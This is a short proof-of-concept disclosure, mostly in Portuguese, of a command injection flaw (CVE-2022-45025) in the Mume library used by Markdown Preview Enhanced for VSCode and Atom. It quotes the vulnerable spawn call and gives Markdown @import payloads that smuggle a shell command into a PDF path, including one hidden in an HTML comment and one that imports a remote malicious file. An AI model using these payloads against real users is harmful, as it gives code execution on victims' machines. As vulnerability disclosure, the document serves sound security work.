
[PoC] Injeção de comandos via importação de PDF no Markdown Preview Enhanced (VSCode, Atom)
Injeção de comando via importação de PDF no Markdown Preview Enhanced (VSCode, Atom)
A biblioteca de ferramentas Mume para Markdown era vulnerável a injeção de comandos devido ao uso do comando spawn com a opção {shell: true}. Isso poderia permitir que um atacante obtivesse execução arbitrária de código ao enganar a vítima para que abrisse um arquivo Markdown especialmente elaborado usando VSCode ou Atom. A biblioteca alimenta o plugin Markdown Preview Enhanced tanto para VSCode quanto para Atom.
Trecho de código vulnerável:
const task = spawn(
"pdf2svg",
[
`"${pdfFilePath}"`,
`"${path.resolve(svgDirectoryPath, svgFilePrefix + "%d.svg")}"`,
"all",
],
{ shell: true },
)
O seguinte documento Markdown permite que um atacante execute comandos arbitrários:
@import "$(open -a Calculator > /dev/null | exit 0)hello.pdf"
The following comment will be recognised by MPE as valid "@import" command:
<!-- @import "$(open -a Calculator > /dev/null | exit 0)hello.pdf" -->
Alternativamente, o payload poderia ser executado a partir de uma fonte externa:
<!-- @import "https://raw.githubusercontent.com/yuriisanin/CVE-2022-45025/main/examples/malicious.md" -->
DEMO para VSCode e Atom no YouTube.
